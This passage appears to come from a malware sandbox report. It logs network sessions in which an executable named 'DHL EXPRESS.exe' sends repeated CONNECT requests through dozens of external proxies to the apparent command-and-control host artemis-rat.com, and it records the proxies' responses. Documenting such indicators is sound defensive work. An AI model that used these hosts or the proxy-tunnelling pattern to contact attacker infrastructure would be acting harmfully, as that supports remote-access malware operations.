Mar 11, 2024 18:36:45.447904110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.8	50249	172.67.182.126	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.301487923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.455935001 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	50190	154.205.152.96	9080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.307039976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.095254898 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	50077	49.228.131.169	5000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.307387114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.663686991 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.8	50187	194.4.50.62	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.319293022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.8	50089	148.66.130.53	56350	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.319952965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.018840075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.018841028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.049299002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.123465061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.206639051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206701040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.206548929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.206300974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.8	50055	202.166.219.80	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.321146965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.8	50272	172.67.181.129	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.321538925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.476247072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.8	50251	54.212.22.168	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.338078976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.528932095 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.8	50071	93.171.220.229	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.338790894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.8	50282	104.17.166.210	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.339683056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.493906975 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.8	50163	174.75.211.222	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.346684933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.8	50093	218.6.120.111	7777	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.347683907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.940074921 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.8	50271	192.163.202.88	10722	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.349247932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.831222057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.369204998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.503355026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.678275108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.910044909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.097259045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.409683943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.206583023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.8	50159	177.234.194.158	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.349268913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.457664013 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.8	50264	162.241.46.40	49401	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.354198933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.862546921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.487514019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.722301960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.269081116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.8	50196	174.64.199.82	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.366941929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.8	50503	93.190.24.119	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.370625019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.8	50300	104.18.161.122	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.373063087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.527584076 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.8	50273	12.176.231.147	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.374728918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.580776930 CET	169	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.8	50205	13.208.168.179	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.382970095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.660640001 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.8	50193	46.35.9.110	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.397964954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.8	50298	51.79.87.144	22500	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.400819063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.940598965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.612509966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.066054106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.769304991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.456773043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261563063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.566123009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.268870115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.8	50183	161.97.132.227	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.402415037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.664454937 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	50169	43.155.165.196	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
